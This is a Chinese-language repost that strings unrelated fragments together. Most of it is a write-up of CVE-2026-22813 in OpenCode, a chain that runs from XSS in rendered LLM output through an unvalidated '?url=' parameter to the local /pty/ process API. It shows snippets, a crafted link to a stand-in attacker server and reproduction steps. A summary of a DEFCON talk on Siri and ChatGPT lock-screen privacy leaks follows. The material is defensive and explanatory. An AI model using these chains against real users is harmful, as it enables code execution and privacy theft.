      未来的企业,那些管理类的工具一定会被边缘化的,聊天类的会被打成一个通知中心,而创作类的会大放异彩,让大家直接在要干的事上进行沟通、交互和分享。

      漏洞概述 CVE-2026-22813 是OpenCode开发环境中的一个高危安全漏洞,该漏洞通过巧妙的攻击链组合,允许远程攻击者在用户本地计算机上执行任意代码(RCE)。该漏洞的影响评分为9.4,影响OpenCode 1.1.10之前的所有版本。 漏洞背景 OpenCode是一个流行的本地开发工具,默认在localhost:4096端口运行HTTP服务,提供网页UI和API接口。该工具集成了AI聊天功能,允许开发者通过自然语言交互进行编程。 三重攻击链解析 第一环:XSS漏洞(初始立足点) 漏洞位置:OpenCode网页UI的Markdown渲染器 根本原因 1 HTML净化失效:用于渲染LLM响应的DOMPurify库未正确启用净化功能 2 缺乏CSP防护:网页界面没有实施内容安全策略 3 信任边界混淆:将不可信的LLM输出直接插入DOM而不进行转义 攻击影响:攻击者通过精心设计的提示词,可以让LLM生成包含恶意JavaScript代码的响应,这些代码会在用户浏览器中执行。 技术细节

      Plain Text

      复制代码
      // 示例:恶意LLM响应绕过净化
      const maliciousResponse = {
      content: 'Here is your code:<script>evil()</script>'
      };
      // DOMPurify未启用,脚本直接执行

      第二环:服务器URL覆盖滥用(攻击放大器) 功能机制:OpenCode网页UI支持通过URL参数动态指定后端服务器地址:

      Plain Text

      复制代码
      // packages/app/src/app.tsx中的关键代码
      const defaultServerUrl = (() => {
      const param = new URLSearchParams(document.location.search).get("url");
      if (param) return param; // 致命缺陷:无验证、无限制
      return window.location.origin;
      })();

      攻击利用
      攻击者构造恶意链接,诱骗用户点击:

      Plain Text

      复制代码
      http://localhost:4096/Lw/session/ses_攻击者会话ID?url=https://恶意服务器.example

      点击后的攻击流程 1 用户浏览器访问本地OpenCode页面(localhost:4096 2 网页UI读取?url=参数,连接至攻击者控制的服务器 3从攻击者服务器加载预先准备好的恶意会话内容 4恶意内容触发第一环的XSS漏洞 关键突破:此环节将需要复杂前置条件的XSS攻击转化为一键触发的远程攻击,攻击成功率从"可能"提升至"必然"。 第三环:本地API滥用(最终杀伤) 高危API端点http://localhost:4096/pty/ API功能:该端点允许在本地系统上生成任意进程,为开发功能提供终端访问。 同源策略绕过
      由于恶意JavaScript代码在localhost:4096源下执行,它可以无限制地访问同源的所有API:

      最终实现:攻击者可以: 1下载并执行远程恶意脚本 2安装后门程序 3窃取敏感文件 4横向移动至内网其他系统 漏洞复现

      image.png

      提供恶意聊天会话的一个简单方法是在真实的OpenCode实例前设置mitmproxy。这是必要的,因为OpenCode的网页界面必须加载大量资源,才能加载并显示聊天会话。 1.安装有漏洞的版本

      2.创建恶意会话文件 evil_session.json

      这个载荷会尝试在受害者机器上创建文件 /tmp/pwned_success 作为攻击成功的证明。 启动简易HTTP服务器

      3.进行攻击 1用插件在反向代理模式下启动 mitmproxy

      2 启动服务

      3 构造恶意URL 在同一台运行OpenCode的机器上,访问以下URL:

      原理?url= 参数滥用让本地UI加载远程恶意会话。 4 确认文件是在目录中创建/tmp/

      漏洞修复

      image.png

      移除内嵌JavaScript

      image.png

      添加了 DOMPurify 依赖

      image.png

      在图像预览组件中添加了安全处理 防止了XSS攻击 移除移除动态JavaScript执行和自定义URL参数

      image.png

      改了306行代码,近乎重写了该文件 移除自定义URL参数

      image.png

      通过props控制,不再从window对象读取 结论 CVE-2026-22813是一个典型的"功能滥用→权限提升→系统控制"三重攻击链案例。它暴露出: 1 深度防御的缺失:缺乏输入验证、输出编码、权限控制的多层防护 2 信任模型的缺陷:过度信任客户端输入和本地网络环境 3 安全开发生命周期的不足:危险功能上线前缺乏威胁建模

      引子 2025 年底,字节推出系统级的手机助手,让人眼前一亮的同时,也引起了大家的疑问:这个高权限的 AI 手机助手会不会进行越权操作?能不能保障用户的隐私安全?

      image.png

      豆包手机毕竟还没有到量产阶段,我们还很难评估豆包手机助手的安全性。但是大家不要忘了,我们每个人的手机上其实早就有了一个系统级的 AI 助手,它可能没有豆包那么智能,但也能替我们进行很多操作了。 如果把智能手机比作一个智能体的话,AI 手机助手能替我们执行的操作,便是这个智能体的工具。 所以,本文想跟大家讨论的是,我们现有手机自带的 AI 助手,是不是其实已经存在越权风险了呢? 总览 本文主要带大家分析一下 DEFCON 33 的议题 Siri-ously Leaky: Exploring Overlooked Attack Surfaces Across Apple's Ecosystem,探讨苹果手机助手最近出现的一些越权漏洞,并看一看如何利用这些漏洞来泄露用户的个人隐私数据。议题资料 AI 手机助手越权-隐私泄露 建议大家结合作者提供的 PPT一起来看,里面提供了漏洞的视频演示,比较清晰直观,我这里只是从中截图进行总结。 案例一:越权读取用户的私密相册 漏洞原理:如果刚刚解锁查看过隐私相册,里面的照片数据会被缓存,此时退出隐私相册,再次进入,尽管需要再次验证身份,但是可以通过手机助手将缓存数据读出来。

      image.png

      案例二:锁屏窃取用户 ChatGPT 记忆 苹果手机支持锁屏和 ChatGPT 聊天,而 ChatGPT 拥有个性化记忆、以及聊天记录

      image.png

      那么这里没做好权限控制,在手机锁屏时,存在越权读取记忆的隐私泄露风险。

      image.png

      案例三:锁屏窃取用户当前浏览的 ChatGPT 聊天记录链接 如果在打开了某条 ChatGPT 聊天记录的情况下,锁定屏幕,可以通过唤醒手机助手,让 Siri 把当前页面加入提醒事项,就可以得到当前聊天记录的分享链接,造成隐私聊天数据泄露。

      image.png

      案例四:锁屏窃取用户当前浏览的网页信息 同案例三,都是没有做好锁屏状态下对锁屏下方内容的权限控制,泄露用户当前正在浏览的网址。

      image.png

      总结 漏洞本身比较简单,但这是一个普遍存在、并且将在未来持续存在的攻击面。 AI 越来越智能的未来,AI 各种便捷新功能疯狂上新的同时,一定也要做好权限控制,保障 AI 的安全性。 免责声明 本文所有内容仅供安全研究、教育和防御性安全测试使用。使用者需: 1遵守当地法律法规 2仅在授权环境中进行测试 3不得用于非法入侵或恶意攻击 4对使用后果自行承担责任 参考资料 Siri-ously Leaky: Exploring Overlooked Attack Surfaces Across Apple's Ecosystem: https://github.com/richeeta/DEFCON33-Siriously-Leaky?tab=readme-ov-file

      本地架设也行,丢到服务器上去也行,基于opencode serve,可以直接选择自定义的agent和模型,每个agent都是独立线程,完全模拟群聊的感觉


      📌 转载信息
      转载时间: 2026/1/18 12:10:31